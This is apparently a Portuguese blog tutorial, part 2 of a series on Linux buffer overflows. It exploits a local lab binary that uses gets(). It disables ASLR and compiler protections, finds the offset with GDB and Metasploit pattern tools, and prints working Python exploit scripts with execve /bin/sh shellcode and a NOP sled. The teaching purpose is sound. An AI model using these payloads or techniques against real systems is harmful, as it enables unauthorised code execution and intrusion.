Home Linux Buffer Overflow - Parte 2 Simples BOF
Post
Cancel

Linux Buffer Overflow - Parte 2 Simples BOF

Dando continuidade ao estudo sobre buffer overflow, nesta parte exploraremos de fato o primeiro binário.

Simples Buffer Overflow

Para fins de entendimento de como ocorre a corrupção de memória através do buffer overflow, esta primeira parte será realizada com um binário sem nenhuma proteção. Este experimento dará uma visão de como o programa é executado a nível de memória e como é possível executar um shellcode a partir da Stack. Para que o ASLR seja desativado, é preciso executar o comando abaixo:

1
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 

Analisando o código fonte

Nem sempre em um cenário real, é possível ter acesso ao código fonte do binário a ser explorado, porém, a fins de estudo, o código fonte do binário está abaixo:

$ cat prog.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

void vuln(void){

        char c[40];
        puts("Me alimente: ");
        gets(c);
        printf("Vc escreveu: %s\n", c);
}

int main(void){

        vuln();
        return 0;
}

Ao analisar a função vuln, épossível perceber que ela cria um buffer de 40 bytes, logo em seguida, a função gets preenche o buffer criado com o input do usuário. O problema da função gets, é que ela não faz nenhum tratamento no buffer de entrada para validar seu tamanho, podendo aceitar uma quantidade de bytes muito maior que os 40 setados inicialmente.

Compilando o binário

Para que a exploração ocorra de fato, é necessário a compilação do script em um binário, desativando todas as proteções através do comando abaixo:

1
$ gcc prog.c -o prog -z execstack -fno-stack-protector -no-pie -w

Enumerando o binário

Após a compilação, pode-se executar o binário e enumerar seu comportamento:

1
2
3
4
$ ./prog 
Me alimente: 
AAAAAAAA
Vc escreveu: AAAAAAAA

O programa solicita dados de entrada, e após o envio, retorna a resposta com o buffer. Ao preencher um buffer maior que o esperado, o programa tem o seguinte comportamento:

1
2
3
4
5
6
7
8
$ ./prog                                                                                                      
Me alimente: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Vc escreveu: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./prog

O programa respondeu com o erro "segmentation fault". Isto ocorre, pois o buffer de entrada foi maior que 40 bytes, sobresccrevendo outros endereços de memória com “A”, fazendo com que o programa não saiba o que executar após a função vuln.

Debugando o binário

Uma vez constatado a vulnerabilidade de buffer overflow, pode-se utilizar o Debugger GDB para verificar o comportamento do programa em nível de memória. Para iniciar, é preciso executar o comando abaixo:

1
$ gdb prog

Ao insrir o comando info functions, todas as funções do programa são listadas, conforme a imagem abaixo:

Funções do programa exibidas pelo GDB.

Para iniciar o debug, é preciso inserir um breakpoint na função main através do comando b main. Em seguida executar o programa no GDB com o comando run. Após a execução dos comandos, é possível ter o overview dos registradores no início da execução, conforme imagem abaixo:

Overview dos registradores no início da execução do programa.

Neste ponto da execução, é possível “disassemblar” a função vuln e verificar os endereços de memória de cada passo com o comando disas vuln.

Disassembly da função vuln

É possível inserir mais um breakpoint, desta vez na chamada ret da função vuln, que neste caso está no endereço de memória 0x0000000000401181. Esta chamada retorna para a execução normal do programa após receber o buffer de entrada. Ao setar um breakpoint nesta chamada, é possível analisar os registradores neste exato momento. O breakpoint pode ser setado com o comando b * 0x0000000000401181.

Após setar o breakpoint, o programa deve continuar sua execução com o comando continue.

1
2
3
4
5
6
gdb-peda$ b * 0x0000000000401181
Breakpoint 2 at 0x401181
gdb-peda$ continue
Continuing.
Me alimente: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Após preencher o buffer com uma grande quantidade de dados, pode-se continuar a execução com o comando continue.

Execução do programa parada com o erro "SIGSEGV".

Conforme observado, o programa parou com o erro segmentation fault. Se o proximo comando a ser executado, que se encontra no topo da pilha, for consultado, pode-se verificar que ele está preenchido com 0x4141414141414141 (41= A em hexadecimal). O RSP pode ser consultado com o comando x/gx $rsp.

1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4141414141414141

Encontrando o offset

Através da análise do código fonte, é possível identificar que o buffer alocado para a função vuln é de 40 bytes, porém, devido aos movimentos de registradores, o buffer para se atingir o RSP é diferente. Para se descobrir o offset para atingir o endereço desejado, é preciso enviar para o programa um ciclic pattern, ou seja, uma cadeia de caracteres que pode ser rastreado para identificarmos o endereço correto. Para criar este ciclic pattern, podemos utilizar o programa msf-pattern_create da suide Metasploit Framework.

1
2
3
$ msf-pattern_create -l 80
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac

Este comando cria um ciclic pattern de 80 bytes que pode ser enviado para o programa sendo executado no GDB.

1
2
3
4
5
6
7
gdb-peda$ continue
Continuing.
Me alimente: 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac
Vc escreveu: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab
7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac

Ao consultar o endereço de RSP que causou o erro no programa, é possível encontrar os bytes resultantes.

1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4130634139624138

Com o endereço resultante é possível utilizar o programa msf-pattern_offset, também da suite Metasploit Framework, para consultar o offset resultante do endereço.

1
2
$ msf-pattern_offset -l 80 -q 0x4130634139624138
[*] Exact match at offset 56

O offset para atingir RIP é de 56 bytes. Pode-se testar este offset ao enviar novamente um buffer para o programa sendo executado no GDB, contndo 56 letras A e 8 letras B. Ao consultar o endereço resultante em RSP, ele estará preenchido com o valor 0x4242424242424242 (42 = B em hexadecimal).

1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4242424242424242

A partir destas descobertas, é possível ter total controle da execução do binário.

Explorando o binário

Para a exploração do binário, inicialmente será necessário um script em python 2. O motivo pelo qual será utilizado uma versão antiga da linguagem, se dá pelo fado desta versão imprimir bytes na tela, enquanto o python 3 descontinuou esta função. Porém, para as próximas explorações com bypass das proteções, o Python 3 será utilizado.

Com o offset correto, é preciso encontrar um “endereço de retorno” válido para o programa, ou seja, após o buffer de 56 bytes, é preciso informar um endereço válido para o programa, de forma que ele não entre em segmentation fault. Este endereço pode ser consultado no próprio GDB, uma vez que o breakpoint foi setado no endereço de retorno da função vuln, o próximo endereço da Stack pode ser usado. Uma vez que o ASLR foi desabilitado, qualquer endereço de memória permanecerá o mesmo em todas as execuções. O endereço de retorno está no topo da Stack conforme a imagem abaixo:

Endereço de retorno para o buffer overflow: 0x7fffffffdf00

Com o endereço em mãos, e com o shell code em linha de bytes criado anteriormente, pode-se criar o seguinte script:

$ cat exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

import struct

shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
\xb8\x3b\x00\x00\x00\x0f\x05"

#offset
payload = "A" * 56
#endereco de retorno
payload += struct.pack("<Q", 0x7fffffffdf00)
#shellcode
payload += shell

print payload

Para enviar o exploit via GDB, pode ser utilizado o comando r < <(python exploit.py). Ao executar o binário via GDB enviando este script, é possível obter o retorno de que o programa chamou o /bin/dash, conforme imagem abaixo:

Programa chamando /bin/dash via GDB.

O exploit está funcional quando é executado por dentro do GDB, pois o endereço de retorno encontrado, considera não so o binário, mas o próŕio GDB. Porém, quando é executado via terminal, existe um decremento não específico dos endereços de memória, como não é possível “adivinhar” este decremento, o script pode ser adaptado com a técnica de NOP Sled.

NOP Sled

O opcode NOP, representado pelo byte \x90, é uma instrução Assembly que não faz absolutamente nada. Quando é inserido uma cadeia de NOPs, o programa simplesmente “desliza” sobre eles. Como não é possível descobrir o decremento dos valores de memória, é possível fazer um acréssimo no endereço de retorno seguido de uma cadeia de NOPs. Isto vai fazer com que o endereço de retorno aponte para um lugar bem abaixo da Stack, e logo em seguida o programa vai percorrer os NOPs até o shellcode, fazendo com que o exploit se adapte às diferenças de endereços. O sicript adaptado fica como abaixo:

$ cat exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python

import struct

#cadeia de NOPs
nops = "\x90" * 200

shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
\xb8\x3b\x00\x00\x00\x0f\x05"

#offset
payload = "A" * 56
Endereço de retorno acrescido de 200
payload += struct.pack("<Q", 0x7fffffffdf00 + 200)
#cadeia de NOPs
payload += nops
#shellcode
payload += shell

print payload

Ao executar o exploit enviando o payload para o binário, o endereço de retorno é sobrescrito, levando o programa para a cadeia de NOPs, em seguida o shellcode é executado, uma vez que não existem proteções para este binário, é possível obter um command shell.

Command Shell obtido via buffer overflow

Com este resultado, foi possível entender o funcionamento básico do processo de exploração de binários via buffer overflow básico. Nas próximas etapas, serão exploradas as técnicas de bypass das proteções comuns.

This post is licensed under CC BY 4.0 by the author.